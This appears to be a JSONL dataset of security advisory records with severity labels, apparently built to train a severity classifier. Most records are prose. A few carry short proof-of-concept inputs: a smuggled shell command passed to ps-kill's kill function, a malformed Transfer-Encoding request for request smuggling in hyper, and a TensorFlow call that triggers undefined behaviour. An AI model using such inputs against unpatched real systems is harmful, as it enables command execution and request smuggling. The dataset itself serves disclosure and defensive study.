-{"id": "3dc6c0ab87ddb28c234b", "text": "Command Injection in ps-kill\n\nThis affects all versions of package ps-kill. If (attacker-controlled) user input is given to the kill function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization in the index.js file.\n\nPoC (provided by reporter): \n```js\nvar ps_kill = require('ps-kill');\nps_kill.kill('$(touch success)', function() {});\n```", "text_raw": "Command Injection in ps-kill\n\n[Severity: CRITICAL]\n\nThis affects all versions of package ps-kill. If (attacker-controlled) user input is given to the kill function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization in the index.js file. \n\nPoC (provided by reporter): \n```js\nvar ps_kill = require('ps-kill');\nps_kill.kill('$(touch success)', function() {});\n```", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-03-19", "split": "train"}
-{"id": "0868260e9ab695b03f92", "text": "Data races in multiqueue2\n\nAffected versions of this crate unconditionally implemented Send for types used in queue implementations (InnerSend<RW, T>, InnerRecv<RW, T>, FutInnerSend<RW, T>, FutInnerRecv<RW, T>).\n\nThis allows users to send non-Send types to other threads, which can lead to data race bugs or other undefined behavior.\n\nThe flaw was corrected in v0.1.7 by adding T: Send bound to to the Send impl of four data types explained above.", "text_raw": "Data races in multiqueue2\n\n[Severity: MEDIUM]\n\nAffected versions of this crate unconditionally implemented Send for types used in queue implementations (InnerSend<RW, T>, InnerRecv<RW, T>, FutInnerSend<RW, T>, FutInnerRecv<RW, T>).\n\nThis allows users to send non-Send types to other threads, which can lead to data race bugs or other undefined behavior.\n\nThe flaw was corrected in v0.1.7 by adding T: Send bound to to the Send impl of four data types explained above.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "647586aa613971aba8f5", "text": "Puma with proxy which forwards LF characters as line endings could allow HTTP request smuggling\n\n### Impact\n\nPrior to `puma` version 5.5.0, using `puma` with a proxy which forwards LF characters as line endings could allow HTTP request smuggling. A client could smuggle a request through a proxy, causing the proxy to send a response back to another unknown client.\n\nThis behavior (forwarding LF characters as line endings) is very uncommon amongst proxy servers, so we have graded the impact here as \"low\". Puma is only aware of a single proxy server which has this behavior.\n\nIf the proxy uses persistent connections and the client adds another request in via HTTP pipelining, the proxy may mistake it as the first request's body. Puma, however, would see it as two requests, and when processing the second request, send back a response that the proxy does not expect. If the proxy has reused the persistent connection to Puma to send another request for a different client, the second response from the first client will be sent to the second client.\n\n### Patches\n\nThis vulnerability was patched in Puma 5.5.1 and 4.3.9.\n\n### Workarounds\n\nThis vulnerability only affects Puma installations without any proxy in front.\n\nUse a proxy which does not forward LF characters as line endings.\n\nProxies which do not forward LF characters as line endings:\n\n* Nginx\n* Apache (>2.4.25)\n* Haproxy\n* Caddy\n* Traefik\n\n### Possible Breakage\n\nIf you are [dealing with legacy clients that want to send `LF` as a line ending](https://stackoverflow.com/questions/43574428/have-apache-accept-lf-vs-crlf-in-request-headers) in an HTTP header, this will cause those clients to receive a `400` error.\n\n### References\n\n* [HTTP Request Smuggling](https://portswigger.net/web-security/request-smuggling)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [Puma](https://github.com/puma/puma)\n* See our [security policy](https://github.com/puma/puma/security/policy)", "text_raw": "Puma with proxy which forwards LF characters as line endings could allow HTTP request smuggling\n\n[Severity: LOW]\n\n### Impact\n\nPrior to `puma` version 5.5.0, using `puma` with a proxy which forwards LF characters as line endings could allow HTTP request smuggling. A client could smuggle a request through a proxy, causing the proxy to send a response back to another unknown client.\n\nThis behavior (forwarding LF characters as line endings) is very uncommon amongst proxy servers, so we have graded the impact here as \"low\". Puma is only aware of a single proxy server which has this behavior.\n\nIf the proxy uses persistent connections and the client adds another request in via HTTP pipelining, the proxy may mistake it as the first request's body. Puma, however, would see it as two requests, and when processing the second request, send back a response that the proxy does not expect. If the proxy has reused the persistent connection to Puma to send another request for a different client, the second response from the first client will be sent to the second client.\n\n### Patches\n\nThis vulnerability was patched in Puma 5.5.1 and 4.3.9.\n\n### Workarounds\n\nThis vulnerability only affects Puma installations without any proxy in front.\n\nUse a proxy which does not forward LF characters as line endings.\n\nProxies which do not forward LF characters as line endings:\n\n* Nginx\n* Apache (>2.4.25)\n* Haproxy\n* Caddy\n* Traefik\n\n### Possible Breakage\n\nIf you are [dealing with legacy clients that want to send `LF` as a line ending](https://stackoverflow.com/questions/43574428/have-apache-accept-lf-vs-crlf-in-request-headers) in an HTTP header, this will cause those clients to receive a `400` error.\n\n### References\n\n* [HTTP Request Smuggling](https://portswigger.net/web-security/request-smuggling)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [Puma](https://github.com/puma/puma)\n* See our [security policy](https://github.com/puma/puma/security/policy)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "cb0a532f83a9fabcf286", "text": "HTTP Request Smuggling in hyper\n\n### Summary\n\nhyper's HTTP server code had a flaw that incorrectly understands some requests with multiple transfer-encoding headers to have a chunked payload, when it should have been rejected as illegal. This combined with an upstream HTTP proxy that understands the request payload boundary differently can result in \"request smuggling\" or \"desync attacks\".\n\n### Vulnerability\n\nThe flaw was introduced in https://github.com/hyperium/hyper/commit/26417fc24a7d05df538e0f39239b373c5c3d61f6, released in v0.12.0.\n\nConsider this example request:\n\n```\nPOST /yolo HTTP/1.1\nTransfer-Encoding: chunked\nTransfer-Encoding: cow\n```\n\nThis request *should* be rejected, according to RFC 7230, since it has a `Transfer-Encoding` header, but after folding, it does not end in `chunked`. hyper would notice the `chunked` in the first line, and then check the second line, and thanks to a missing boolean assignment, *not* set the error condition. hyper would treat the payload as being `chunked`. By differing from the spec, it is possible to send requests like these to endpoints that have different HTTP implementations, with different interpretations of the payload semantics, and cause \"desync attacks\".\n\nThere are several parts of the spec that must also be checked, and hyper correctly handles all of those. Additionally, hyper's *client* does not allow sending requests with improper headers, so the misunderstanding cannot be propagated further.\n\nRead more about desync attacks: https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn\n\n### Impact\n\nTo determine if vulnerable, all these things must be true:\n\n- **Using hyper as an HTTP *server*.** The client is not affected.\n- **Using HTTP/1.1.** HTTP/2 does not use `transfer-encoding`.\n- **Using a vulnerable HTTP proxy upstream to hyper.** If an upstream proxy correctly rejects the illegal transfer-encoding headers, the desync attack cannot succeed. If there is *no* proxy upstream of hyper, hyper cannot *start* the desync attack, as the client will repair the headers before forwarding.\n\n### Patches\n\nWe have released and backported the following patch versions:\n\n- v0.14.3\n- v0.13.10\n\n### Workarounds\n\nBesides upgrading hyper, you can take the following options:\n\n- Reject requests that contain a `transfer-encoding` header.\n- Ensure any upstream proxy handles `transfer-encoding` correctly.\n\n### Credits\n\nThis issue was initially reported by ZeddYu Lu From Qi An Xin Technology Research Institute.", "text_raw": "HTTP Request Smuggling in hyper\n\n[Severity: MEDIUM]\n\n### Summary\n\nhyper's HTTP server code had a flaw that incorrectly understands some requests with multiple transfer-encoding headers to have a chunked payload, when it should have been rejected as illegal. This combined with an upstream HTTP proxy that understands the request payload boundary differently can result in \"request smuggling\" or \"desync attacks\".\n\n### Vulnerability\n\nThe flaw was introduced in https://github.com/hyperium/hyper/commit/26417fc24a7d05df538e0f39239b373c5c3d61f6, released in v0.12.0.\n\nConsider this example request:\n\n```\nPOST /yolo HTTP/1.1\nTransfer-Encoding: chunked\nTransfer-Encoding: cow\n```\n\nThis request *should* be rejected, according to RFC 7230, since it has a `Transfer-Encoding` header, but after folding, it does not end in `chunked`. hyper would notice the `chunked` in the first line, and then check the second line, and thanks to a missing boolean assignment, *not* set the error condition. hyper would treat the payload as being `chunked`. By differing from the spec, it is possible to send requests like these to endpoints that have different HTTP implementations, with different interpretations of the payload semantics, and cause \"desync attacks\".\n\nThere are several parts of the spec that must also be checked, and hyper correctly handles all of those. Additionally, hyper's *client* does not allow sending requests with improper headers, so the misunderstanding cannot be propagated further.\n\nRead more about desync attacks: https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn\n\n### Impact\n\nTo determine if vulnerable, all these things must be true:\n\n- **Using hyper as an HTTP *server*.** The client is not affected.\n- **Using HTTP/1.1.** HTTP/2 does not use `transfer-encoding`.\n- **Using a vulnerable HTTP proxy upstream to hyper.** If an upstream proxy correctly rejects the illegal transfer-encoding headers, the desync attack cannot succeed. If there is *no* proxy upstream of hyper, hyper cannot *start* the desync attack, as the client will repair the headers before forwarding.\n\n### Patches\n\nWe have released and backported the following patch versions:\n\n- v0.14.3\n- v0.13.10\n\n### Workarounds\n\nBesides upgrading hyper, you can take the following options:\n\n- Reject requests that contain a `transfer-encoding` header.\n- Ensure any upstream proxy handles `transfer-encoding` correctly.\n\n### Credits\n\nThis issue was initially reported by ZeddYu Lu From Qi An Xin Technology Research Institute.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "b442e06ec80690124b94", "text": "Cross-Site Request Forgery in express-cart\n\nThe express-cart package through 1.1.10 for Node.js allows CSRF.", "text_raw": "Cross-Site Request Forgery in express-cart\n\n[Severity: HIGH]\n\nThe express-cart package through 1.1.10 for Node.js allows CSRF.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "51e28ed4ce7d036e95d9", "text": "HTTP Host Header Injection\n\n### Problem\nIt has been discovered that TYPO3 CMS is susceptible to host spoofing due to improper validation of the HTTP _Host_ header. TYPO3 uses the HTTP _Host_ header, for example, to generate absolute URLs during the frontend rendering process. Since the host header itself is provided by the client, it can be forged to any value, even in a name-based virtual hosts environment.\n\nThis vulnerability is the same as described in [TYPO3-CORE-SA-2014-001 (CVE-2014-3941)](https://typo3.org/security/advisory/typo3-core-sa-2014-001/). A regression, introduced during TYPO3 v11 development, led to this situation. The already existing setting _$GLOBALS['TYPO3_CONF_VARS']['SYS']['trustedHostsPattern']_ (used as an effective mitigation strategy in previous TYPO3 versions) was not evaluated anymore, and reintroduced the vulnerability.\n\n### Solution\nUpdate your instance to TYPO3 version 11.5.0 which addresses the problem described.\n\n### Credits\nThanks to TYPO3 framework merger Benjamin Franzke who reported and fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-015](https://typo3.org/security/advisory/typo3-core-sa-2021-015)\n* [CVE-2014-3941](https://nvd.nist.gov/vuln/detail/CVE-2014-3941) reintroduced in TYPO3 v11.0.0", "text_raw": "HTTP Host Header Injection\n\n[Severity: MEDIUM]\n\n### Meta\n* CVSS: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N/E:F/RL:O/RC:C` (3.5)\n\n### Problem\nIt has been discovered that TYPO3 CMS is susceptible to host spoofing due to improper validation of the HTTP _Host_ header. TYPO3 uses the HTTP _Host_ header, for example, to generate absolute URLs during the frontend rendering process. Since the host header itself is provided by the client, it can be forged to any value, even in a name-based virtual hosts environment.\n\nThis vulnerability is the same as described in [TYPO3-CORE-SA-2014-001 (CVE-2014-3941)](https://typo3.org/security/advisory/typo3-core-sa-2014-001/). A regression, introduced during TYPO3 v11 development, led to this situation. The already existing setting _$GLOBALS['TYPO3_CONF_VARS']['SYS']['trustedHostsPattern']_ (used as an effective mitigation strategy in previous TYPO3 versions) was not evaluated anymore, and reintroduced the vulnerability.\n\n### Solution\nUpdate your instance to TYPO3 version 11.5.0 which addresses the problem described.\n\n### Credits\nThanks to TYPO3 framework merger Benjamin Franzke who reported and fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-015](https://typo3.org/security/advisory/typo3-core-sa-2021-015)\n* [CVE-2014-3941](https://nvd.nist.gov/vuln/detail/CVE-2014-3941) reintroduced in TYPO3 v11.0.0", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-05", "split": "train"}
-{"id": "18e0dec5bff730eeb0ce", "text": "BuddyPress privilege escalation via REST API\n\n### Impact\nIt's possible for a non-privileged, regular user to obtain administrator rights by exploiting an issue in the BuddyPress REST API members endpoint.\n\n### Patches\nThe vulnerability has been fixed in BuddyPress 7.2.1. Existing installations of the plugin should be updated to this version to mitigate the issue.\n\n### References\nhttps://buddypress.org/2021/03/buddypress-7-2-1-security-release/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [HackerOne](https://hackerone.com/wordpress)", "text_raw": "BuddyPress privilege escalation via REST API\n\n[Severity: HIGH]\n\n### Impact\nIt's possible for a non-privileged, regular user to obtain administrator rights by exploiting an issue in the BuddyPress REST API members endpoint.\n\n### Patches\nThe vulnerability has been fixed in BuddyPress 7.2.1. Existing installations of the plugin should be updated to this version to mitigate the issue.\n\n### References\nhttps://buddypress.org/2021/03/buddypress-7-2-1-security-release/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [HackerOne](https://hackerone.com/wordpress)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-06", "split": "train"}
-{"id": "47ca3cab7a6d64dd89c6", "text": "Manx cms.xml 1.0.1 (simplexml_load_file()) Directory Traversal Vulnerability", "text_raw": "Manx cms.xml 1.0.1 (simplexml_load_file()) Directory Traversal Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-11-28", "split": "train"}
-{"id": "4570865390e0979b060d", "text": "XML External Entity (XXE) vulnerability in codelibs fess\n\ncodelibs fess version before commit faa265b contains a XML External Entity (XXE) vulnerability in GSA XML file parser that can result in Disclosure of confidential data, denial of service, SSRF, port scanning. This attack appear to be exploitable via specially crafted GSA XML files. This vulnerability appears to have been fixed in after commit faa265b.", "text_raw": "XML External Entity (XXE) vulnerability in codelibs fess\n\n[Severity: CRITICAL]\n\ncodelibs fess version before commit faa265b contains a XML External Entity (XXE) vulnerability in GSA XML file parser that can result in Disclosure of confidential data, denial of service, SSRF, port scanning. This attack appear to be exploitable via specially crafted GSA XML files. This vulnerability appears to have been fixed in after commit faa265b.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-12-20", "split": "train"}
-{"id": "04ed1beb3ea53b11da76", "text": "ReDoS via long UserAgent header in ua-parser\n\nAffected versions of `ua-parser` are vulnerable to regular expression denial of service when given a specially crafted `User-Agent` header.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different, functionally equivalent package such as [useragent](https://www.npmjs.com/package/useragent).", "text_raw": "ReDoS via long UserAgent header in ua-parser\n\n[Severity: HIGH]\n\nAffected versions of `ua-parser` are vulnerable to regular expression denial of service when given a specially crafted `User-Agent` header.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different, functionally equivalent package such as [useragent](https://www.npmjs.com/package/useragent).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "b8185cc67081e7776b15", "text": "ASP.NET Core Information Disclosure Vulnerability\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in .NET 5.0, .NET Core 3.1 and .NET Core 2.1. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nAn information disclosure vulnerability exists in .NET 5.0, .NET Core 3.1 and .NET Core 2.1 where a JWT token is logged if it cannot be parsed.\n\n### Patches\n\n* If you're using .NET 5.0, you should download and install Runtime 5.0.9 or SDK 5.0.206 (for Visual Studio 2019 v16.8) or SDK 5.0.303 (for Visual Studio 2019 V16.10) from https://dotnet.microsoft.com/download/dotnet-core/5.0.\n\n* If you're using .NET Core 3.1, you should download and install Runtime 3.1.18 or SDK 3.1.118 (for Visual Studio 2019 v16.4) or 3.1.412 (for Visual Studio 2019 v16.7 or later) from https://dotnet.microsoft.com/download/dotnet-core/3.1.\n\n* If you're using .NET Core 2.1, you should download and install Runtime 2.1.29 or SDK 2.1.525 (for Visual Studio 2019 v15.9) or 2.1.817 from https://dotnet.microsoft.com/download/dotnet-core/2.1.\n\n* If your application is using .NET Core 2.1 running on .NET Framework see the [Updating .NET Core 2.1 on .NET Framework](#updating-2.1) section below.\n\n### <a name=\"updating-2.1\"></a> Updating .NET Core 2.1 on .NET Framework\nIf you are running .NET Core 2.1 on .NET Framework you need to check your projects for dependencies and update them accordingly.\n\n#### Direct dependencies\n\nDirect dependencies are discoverable by examining your `csproj` file. They can be fixed by [editing the project file](#fixing-direct-dependencies) or using NuGet to update the dependency.\n\n#### Transitive dependencies\n\nTransitive dependencies occur when you add a package to your project that in turn relies on another package. For example, if Contoso publishes a package `Contoso.Utility` which, in turn, depends on `Contoso.Internals` and you add the `Contoso.Utility` package to your project now your project has a direct dependency on `Contoso.Utility` and, because `Contoso.Utility` depends 'Contoso.Internals', your application gains a transitive dependency on the `Contoso.Internals` package.\n\nTransitive dependencies are reviewable in two ways:\n\n* In the Visual Studio Solution Explorer window, which supports searching.\n* By examining the `project.assets.json` file contained in the obj directory of your project for `csproj` based projects\n\nThe `project.assets.json` files are the authoritative list of all packages used by your project, containing both direct and transitive dependencies.\n\nThere are two ways to view transitive dependencies. You can either [use Visual Studio’s Solution Explorer](#vs-solution-explorer), or you can review [the `project.assets.json` file](#project-assets-json)).\n\n##### <a name=\"vs-solution-explorer\"></a>Using Visual Studio Solution Explorer\n\nTo use Solution Explorer, open the project in Visual Studio, and then press Ctrl+; to activate the search in Solution Explorer. Search for the [vulnerable package](#affected-software) and make a note of the version numbers of any results you find.\n\nFor example, search for `Microsoft.AspNetCore.Authentication.JwtBearer` and update the package to the latest version\n\n##### <a name=\"project-assets-json\"></a> Manually reviewing project.assets.json\n\nOpen the *project.assets.json* file from your project’s obj directory in your editor. We suggest you use an editor that understands JSON and allows you to collapse and expand nodes to review this file.\nVisual Studio and Visual Studio Code provide JSON friendly editing.\n\nSearch the *project.assets.json* file for the [vulnerable package](#affected-software), using the format `packagename/` for each of the package names from the preceding table. If you find the assembly name in your search:\n\n* Examine the line on which they are found, the version number is after the `/`.\n* Compare to the [vulnerable versions table](#affected-software).\n\nFor example, a search result that shows `Microsoft.AspNetCore.Authentication.JwtBearer/2.1.0` is a refe", "text_raw": "ASP.NET Core Information Disclosure Vulnerability\n\n[Severity: MEDIUM]\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in .NET 5.0, .NET Core 3.1 and .NET Core 2.1. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nAn information disclosure vulnerability exists in .NET 5.0, .NET Core 3.1 and .NET Core 2.1 where a JWT token is logged if it cannot be parsed.\n\n### Patches\n\n* If you're using .NET 5.0, you should download and install Runtime 5.0.9 or SDK 5.0.206 (for Visual Studio 2019 v16.8) or SDK 5.0.303 (for Visual Studio 2019 V16.10) from https://dotnet.microsoft.com/download/dotnet-core/5.0.\n\n* If you're using .NET Core 3.1, you should download and install Runtime 3.1.18 or SDK 3.1.118 (for Visual Studio 2019 v16.4) or 3.1.412 (for Visual Studio 2019 v16.7 or later) from https://dotnet.microsoft.com/download/dotnet-core/3.1.\n\n* If you're using .NET Core 2.1, you should download and install Runtime 2.1.29 or SDK 2.1.525 (for Visual Studio 2019 v15.9) or 2.1.817 from https://dotnet.microsoft.com/download/dotnet-core/2.1.\n\n* If your application is using .NET Core 2.1 running on .NET Framework see the [Updating .NET Core 2.1 on .NET Framework](#updating-2.1) section below.\n\n### <a name=\"updating-2.1\"></a> Updating .NET Core 2.1 on .NET Framework\nIf you are running .NET Core 2.1 on .NET Framework you need to check your projects for dependencies and update them accordingly.\n\n#### Direct dependencies\n\nDirect dependencies are discoverable by examining your `csproj` file. They can be fixed by [editing the project file](#fixing-direct-dependencies) or using NuGet to update the dependency.\n\n#### Transitive dependencies\n\nTransitive dependencies occur when you add a package to your project that in turn relies on another package. For example, if Contoso publishes a package `Contoso.Utility` which, in turn, depends on `Contoso.Internals` and you add the `Contoso.Utility` package to your project now your project has a direct dependency on `Contoso.Utility` and, because `Contoso.Utility` depends 'Contoso.Internals', your application gains a transitive dependency on the `Contoso.Internals` package.\n\nTransitive dependencies are reviewable in two ways:\n\n* In the Visual Studio Solution Explorer window, which supports searching.\n* By examining the `project.assets.json` file contained in the obj directory of your project for `csproj` based projects\n\nThe `project.assets.json` files are the authoritative list of all packages used by your project, containing both direct and transitive dependencies.\n\nThere are two ways to view transitive dependencies. You can either [use Visual Studio’s Solution Explorer](#vs-solution-explorer), or you can review [the `project.assets.json` file](#project-assets-json)).\n\n##### <a name=\"vs-solution-explorer\"></a>Using Visual Studio Solution Explorer\n\nTo use Solution Explorer, open the project in Visual Studio, and then press Ctrl+; to activate the search in Solution Explorer. Search for the [vulnerable package](#affected-software) and make a note of the version numbers of any results you find.\n\nFor example, search for `Microsoft.AspNetCore.Authentication.JwtBearer` and update the package to the latest version\n\n\n##### <a name=\"project-assets-json\"></a> Manually reviewing project.assets.json\n\nOpen the *project.assets.json* file from your project’s obj directory in your editor. We suggest you use an editor that understands JSON and allows you to collapse and expand nodes to review this file.\nVisual Studio and Visual Studio Code provide JSON friendly editing.\n\nSearch the *project.assets.json* file for the [vulnerable package](#affected-software), using the format `packagename/` for each of the package names from the preceding table. If you find the assembly name in your search:\n\n* Examine the line on which they are found, the version number is after the `/`.\n* Compare to the [vulnerable versions table](#affected-software).\n\nFor example, a search result that shows `Microsoft.AspNetCore.Authentication.JwtBe", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "e79c4537a95da64511b8", "text": "Malicious Package in juffer-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in juffer-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "67006815f2089972d448", "text": "SQL Injection and Cross-site Scripting in class-validator\n\nIn TypeStack class-validator, `validate()` input validation can be bypassed because certain internal attributes can be overwritten via a conflicting name. Even though there is an optional `forbidUnknownValues` parameter that can be used to reduce the risk of this bypass, this option is not documented and thus most developers configure input validation in the vulnerable default manner. With this vulnerability, attackers can launch SQL Injection or XSS attacks by injecting arbitrary malicious input.\n\nThe default settings for `forbidUnknownValues` has been changed to `true` in 0.14.0.\n\nNOTE: a software maintainer agrees with the \"is not documented\" finding but suggests that much of the responsibility for the risk lies in a different product.", "text_raw": "SQL Injection and Cross-site Scripting in class-validator\n\n[Severity: CRITICAL]\n\nIn TypeStack class-validator, `validate()` input validation can be bypassed because certain internal attributes can be overwritten via a conflicting name. Even though there is an optional `forbidUnknownValues` parameter that can be used to reduce the risk of this bypass, this option is not documented and thus most developers configure input validation in the vulnerable default manner. With this vulnerability, attackers can launch SQL Injection or XSS attacks by injecting arbitrary malicious input.\n\nThe default settings for `forbidUnknownValues` has been changed to `true` in 0.14.0.\n\nNOTE: a software maintainer agrees with the \"is not documented\" finding but suggests that much of the responsibility for the risk lies in a different product.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "e245e53542b051faa273", "text": "Undefined behavior via `nullptr` reference binding in sparse matrix multiplication\n\n### Impact\nThe [code for sparse matrix multiplication](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/sparse_matmul_op.cc#L954-L1086) is vulnerable to undefined behavior via binding a reference to `nullptr`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.SparseMatMul(\n  a=[[1.0,1.0,1.0]],\n  b=[[],[],[]],\n  transpose_a=False,\n  transpose_b=False,\n  a_is_sparse=False, \n  b_is_sparse=True)\n```\n\nThis occurs whenever the dimensions of `a` or `b` are 0 or less. In the case on one of these is 0, an empty output tensor should be allocated (to conserve the invariant that output tensors are always allocated when the operation is successful) but nothing should be written to it (that is, we should return early from the kernel implementation). Otherwise, attempts to write to this empty tensor would result in heap OOB access.\n\n### Patches\nWe have patched the issue in GitHub commit [e6cf28c72ba2eb949ca950d834dd6d66bb01cfae](https://github.com/tensorflow/tensorflow/commit/e6cf28c72ba2eb949ca950d834dd6d66bb01cfae).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Undefined behavior via `nullptr` reference binding in sparse matrix multiplication\n\n[Severity: HIGH]\n\n### Impact\nThe [code for sparse matrix multiplication](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/sparse_matmul_op.cc#L954-L1086) is vulnerable to undefined behavior via binding a reference to `nullptr`:\n\n```python\nimport tensorflow as tf\n  \ntf.raw_ops.SparseMatMul(\n  a=[[1.0,1.0,1.0]],\n  b=[[],[],[]],\n  transpose_a=False,\n  transpose_b=False,\n  a_is_sparse=False, \n  b_is_sparse=True)\n```\n\nThis occurs whenever the dimensions of `a` or `b` are 0 or less. In the case on one of these is 0, an empty output tensor should be allocated (to conserve the invariant that output tensors are always allocated when the operation is successful) but nothing should be written to it (that is, we should return early from the kernel implementation). Otherwise, attempts to write to this empty tensor would result in heap OOB access.\n\n### Patches\nWe have patched the issue in GitHub commit [e6cf28c72ba2eb949ca950d834dd6d66bb01cfae](https://github.com/tensorflow/tensorflow/commit/e6cf28c72ba2eb949ca950d834dd6d66bb01cfae).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "937b7e9840cb33120b11", "text": "Regular Expression Denial of Service in marked\n\nVersions 0.3.3 and earlier of `marked` are affected by a regular expression denial of service ( ReDoS ) vulnerability when passed inputs that reach the `em` inline rule.\n\n## Recommendation\n\nUpdate to version 0.3.4 or later.", "text_raw": "Regular Expression Denial of Service in marked\n\n[Severity: HIGH]\n\nVersions 0.3.3 and earlier of `marked` are affected by a regular expression denial of service ( ReDoS ) vulnerability when passed inputs that reach the `em` inline rule.\n\n\n\n## Recommendation\n\nUpdate to version 0.3.4 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "14572a5854acd742f22c", "text": "Information Exposure in Snyk Broker\n\nAll versions of snyk-broker before 4.73.1 are vulnerable to Information Exposure. It logs private keys if logging level is set to DEBUG.", "text_raw": "Information Exposure in Snyk Broker\n\n[Severity: HIGH]\n\nAll versions of snyk-broker before 4.73.1 are vulnerable to Information Exposure. It logs private keys if logging level is set to DEBUG.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-03", "split": "train"}
-{"id": "d8eb9198d7551c3a8cad", "text": "FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 Remote Privilege Escalation", "text_raw": "FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 Remote Privilege Escalation\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-09-27", "split": "train"}
-{"id": "b76254c836a18586276e", "text": "Chakra Scripting Engine Memory Corruption Vulnerability\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge (HTML-based). The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. If the current user is logged on with administrative user rights, an attacker who successfully exploited the vulnerability could take control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. In a web-based attack scenario, an attacker could host a specially crafted website that is designed to exploit the vulnerability through Microsoft Edge (HTML-based) and then convince a user to view the website. The attacker could also take advantage of compromised websites and websites that accept or host user-provided content or advertisements. These websites could contain specially crafted content that could exploit the vulnerability. The security update addresses the vulnerability by modifying how the Chakra scripting engine handles objects in memory.", "text_raw": "Chakra Scripting Engine Memory Corruption Vulnerability\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge (HTML-based). The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. If the current user is logged on with administrative user rights, an attacker who successfully exploited the vulnerability could take control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. In a web-based attack scenario, an attacker could host a specially crafted website that is designed to exploit the vulnerability through Microsoft Edge (HTML-based) and then convince a user to view the website. The attacker could also take advantage of compromised websites and websites that accept or host user-provided content or advertisements. These websites could contain specially crafted content that could exploit the vulnerability. The security update addresses the vulnerability by modifying how the Chakra scripting engine handles objects in memory.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
